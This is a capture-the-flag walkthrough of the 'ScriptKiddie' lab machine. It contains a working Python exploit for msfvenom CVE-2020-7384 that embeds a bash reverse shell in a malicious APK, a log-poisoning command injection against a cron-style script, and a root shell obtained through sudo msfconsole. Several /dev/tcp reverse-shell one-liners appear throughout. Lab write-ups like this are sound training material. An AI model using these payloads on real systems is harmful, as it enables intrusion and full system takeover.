ScriptKiddie is all about exploiting exploitation tools. It starts by exploiting CVE-2020-7384, which allows me to gain a foothold by crafting a malicious APK that executes a reverse shell when used as APK template in msfvenom
. There is a script which automatically runs a nmap
scan against a host from a log file. This script can be exploited by poisoning the log with a reverse shell. For the last part, a sudo privilege on msfconsole
can be leveraged to gain root access.
Skills Learned
- Exploiting Metasploit CVE-2020-7384
- Log poisoning
- Sudo exploitation on msfconsole
Tools
Reconnaissance
Nmap
Full port scan with nmap
discovers two open ports: SSH on port 22, and UPnP on port 5000
→ root@kali «scriptkiddie» «10.10.14.31»
$ nmap -p- --min-rate 1000 --reason -oA nmap/10-tcp-allport 10.10.10.226
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-13 20:42 EDT
Nmap scan report for 10.10.10.226
Host is up, received echo-reply ttl 63 (0.065s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 45.79 seconds
With default script scan, nmap
identifies that port 5000 is actually a web application hosted using Python.
→ root@kali «scriptkiddie» «10.10.14.31»
$ nmap -p22,5000 -sC -sV -oA nmap/10-tcp-allport-script 10.10.10.226
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-13 20:44 EDT
Nmap scan report for 10.10.10.226
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.66 second
Enumeration
TCP 5000 - Website
The site provides several online hacking tools.
The nmap
tool can be used to scan against itself.
The IP field doesn’t accept others inputs except IPv4, so I don’t thing it can be abused, but I’ll note the nmap
version.
The next tool is msfvenom
, it can be used to generate a reverse shell binary. It has three options on the OS: Windows, Linux and Android. There is also a template option, for example, you can embed your payload to Windows’s calc.exe
.
Somehow, it can only generate payload for Windows and Android.
The payload is available for 5 mins at http://10.10.10.226:5000/static/payloads/[here]
.
The last tool is searchsploit
, I tried to stack the commands but it returned this message.
Finding Tools Vulnerabilities
I can’t get the tools version except for nmap
, so I searched some exploits around before the box release date (February 2021) on Exploit-DB and here is what I found.
And that is probably what I need.
I typed “msfvenom” on the site too, and the exploit also appeared there.
Foothold
Shell as kid
Mfvenom CVE-2020-7384
I’ll use this exploit, but I’ll change the payload and the template location to my current working directory.
The exploit requires a Java binary called
jarsigner
, if you don’t have it, read this.
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b32encode
# Change me
payload = 'bash -c "bash -i >& /dev/tcp/10.10.14.31/9000 0>&1"'
# b32encode to avoid badchars (keytool is picky)
# thanks to @fdellwing for noticing that base64 can sometimes break keytool
# <https://github.com/justinsteven/advisories/issues/2>
payload_b32 = b32encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b32} | base32 -d | sh #"
print(f"[+] Manufacturing evil apkfile")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()
tmpdir = "./"
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"
open(empty_file, "w").close()
subprocess.check_call(["zip", "-j", apk_file, empty_file])
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
"-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
"-storepass", storepass, "-keypass", keypass, apk_file, key_alias])
print()
print(f"[+] Done! apkfile is at {apk_file}")
print(f"Do: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
It produces a file called evil.apk
and it also shows the exploit commands.
→ root@kali «exploits» «10.10.14.31»
$ python3 exploit_msfvenom.py
[+] Manufacturing evil apkfile
Payload: bash -c "bash -i >& /dev/tcp/10.10.14.31/9000 0>&1"
-dname: CN='|echo MJQXG2BAFVRSAITCMFZWQIBNNEQD4JRAF5SGK5RPORRXALZRGAXDCMBOGE2C4MZRF44TAMBQEAYD4JRREI====== | base32 -d | sh #
adding: empty (stored 0%)
jar signed.
Warning:
The signer's certificate is self-signed.
[+] Done! apkfile is at ./evil.apk
Do: msfvenom -x ./evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null
Reverse shell - kid
I’ll setup a nc
listener on port 9000, then I’ll upload the evil.apk
file as the template file and then I’ll click on the generate button.
On my listener, I’ve a shell now as user kid
.
root@kali «exploits» «10.10.14.31»
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.226] 34230
bash: cannot set terminal process group (897): Inappropriate ioctl for device
bash: no job control in this shell
kid@scriptkiddie:~/html$
Shell upgrade
I’ll upgrade my shell first.
kid@scriptkiddie:~/html$ export TERM=xterm
export TERM=xterm
kid@scriptkiddie:~/html$ which python
which python
kid@scriptkiddie:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
kid@scriptkiddie:~/html$ ^Z
[1] + 10652 suspended nc -nvlp 9000
→ root@kali «exploits» «10.10.14.31»
$ stty raw -echo; fg
[1] + 10652 continued nc -nvlp 9000
kid@scriptkiddie:~/html$
User flag is done here.
kid@scriptkiddie:~/html$ cd ~
kid@scriptkiddie:~$ ls -la
total 60
...<SNIP>...
-rw-r--r-- 1 kid kid 807 Feb 25 2020 .profile
drwx------ 2 kid kid 4096 Feb 10 16:11 .ssh
-rw-r--r-- 1 kid kid 0 Jan 5 11:10 .sudo_as_admin_successful
drwxrwxr-x 5 kid kid 4096 Feb 3 11:03 html
drwxrwxrwx 2 kid kid 4096 Feb 3 07:40 logs
drwxr-xr-x 3 kid kid 4096 Feb 3 11:48 snap
-r-------- 1 kid kid 33 Jun 12 11:35 user.txt
Privilege Escalation
Shell as pwn
Internal Enumeration
On kid’s home, there’s a folder called logs
. The logs
folder contains one file called hackers
, but the content is empty.
kid@scriptkiddie:~/logs$ ls -la
total 8
drwxrwxrwx 2 kid kid 4096 Feb 3 07:40 .
drwxr-xr-x 11 kid kid 4096 Feb 3 11:49 ..
-rw-rw-r-- 1 kid pwn 0 Jun 14 01:40 hackers
I did a quick check on the available users who have shells. It looks like I need to escalate to pwn
.
kid@scriptkiddie:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
kid:x:1000:1000:kid:/home/kid:/bin/bash
pwn:x:1001:1001::/home/pwn:/bin/bash
Searching files owned by user pwn
discovers one script called scanlosers.sh
.
kid@scriptkiddie:~$ find / -type f -user pwn 2>/dev/null
/home/pwn/.bash_logout
/home/pwn/.selected_editor
/home/pwn/.bashrc
/home/pwn/.profile
/home/pwn/scanlosers.sh
The script is writable by me.
kid@scriptkiddie:~$ ls -l /home/pwn/scanlosers.sh
-rwxrwxr-- 1 pwn pwn 250 Jan 28 17:57 /home/pwn/scanlosers.sh
Script analysis
The script is most likely linked with kid’s hack tools website and probably can be abused by stacking commands, but I need to find how the log in hackers
file is formatted.
kid@scriptkiddie:~$ cat /home/pwn/scanlosers.sh
#!/bin/bash
## Define log
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
## The log is cleared immediately
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
Looking at the source code of the hosted web, it turns out that the log record consists of date and IP address. The logging happens when someone trying to insert a malicious input to the kid’s hack tools.
...<SNIP>...
def searchsploit(text, srcip):
if regex_alphanum.match(text):
result = subprocess.check_output(['searchsploit', '--color', text])
return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore'))
else:
with open('/home/kid/logs/hackers', 'a') as f:
f.write(f'[{datetime.datetime.now()}] {srcip}\n')
return render_template('index.html', sserror="stop hacking me - well hack you back")
...<SNIP>...
For example, I can trigger an event that logs my IP in the hackers
log file by inserting -v apache
.
Or I could generate the same log format in one line:
→ root@kali «exploits» «10.10.14.31»
$ python3 -c "from datetime import datetime; print(f'[{datetime.now()}] 127.0.0.1')"
[2021-06-14 00:43:54.924946] 127.0.0.1
I could guess that the scanlosers.sh
is intended as a ‘counter attack’. From here, I know that scanlosers.sh
will be executed automatically.
To exploit the script, I have to trick this line from scanlosers.sh
echo $log | cut -d' ' -f3- | sort -u
What that line does is it extracts the IP address from the log.
→ root@kali «exploits» «10.10.14.31»
$ log='[2021-06-14 00:28:09.560444] 127.0.0.1'
→ root@kali «exploits» «10.10.14.31»
$ echo $log | cut -d' ' -f3- | sort -u
127.0.0.1
From here, I’ll just add a semi-colon and a space before putting my reverse shell.
[2021-06-14 00:28:09.560444] 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1';
It becomes a stacked command.
→ root@kali «exploits» «10.10.14.31»
$ echo "[2021-06-14 00:28:09.560444] 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1';" | cut -d' ' -f3- | sort -u
127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1';
If I map that format to this line:
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null"
It turns into this:
sh -c "nmap --top-ports 10 -oN recon/127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1';.nmap 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.30/9000 0>&1'; 2>&1 >/dev/null"
Exploitation
Since the logs is cleared automatically, I’ll use while loop to keep inserting my malicious log to the hackers
file and I’ll wait on my listener.
kid@scriptkiddie:~/logs$ while sleep 0.1; do echo "[2021-06-14 00:28:09.560444] 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.31/9001 0>&1';" > hackers; done
On my listener:
→ root@kali «scriptkiddie» «10.10.14.31»
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.226] 33110
bash: cannot set terminal process group (868): Inappropriate ioctl for device
bash: no job control in this shell
pwn@scriptkiddie:~$ id
id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
Shell as root
Sudo - msfconsole
User pwn
is allowed to run msfconsole
as root.
pwn@scriptkiddie:~$ sudo -l
sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
To exploit this I can just send a reverse shell using -x
options and then I’ll wait on my nc
listener.
pwn@scriptkiddie:~$ sudo msfconsole -q -x 'bash -c "bash -i >& /dev/tcp/10.10.14.31/9005 0>&1"'
And I’m rooted.
→ root@kali «scriptkiddie» «10.10.14.31»
$ rlwrap nc -nvlp 9005
listening on [any] 9005 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.226] 43512
bash: cannot set terminal process group (868): Inappropriate ioctl for device
bash: no job control in this shell
root@scriptkiddie:/home/pwn# id
id
uid=0(root) gid=0(root) groups=0(root)
root@scriptkiddie:/home/pwn# cut -c-15 /root/root.txt
cut -c-15 /root/root.txt
bf7edd4c58e4420
References
- https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md
- https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/
- https://discuss.getsol.us/d/4656-java-command-unknown-after-update/3
- http://www.citrucoop.es/jdk-11.0.6/bin/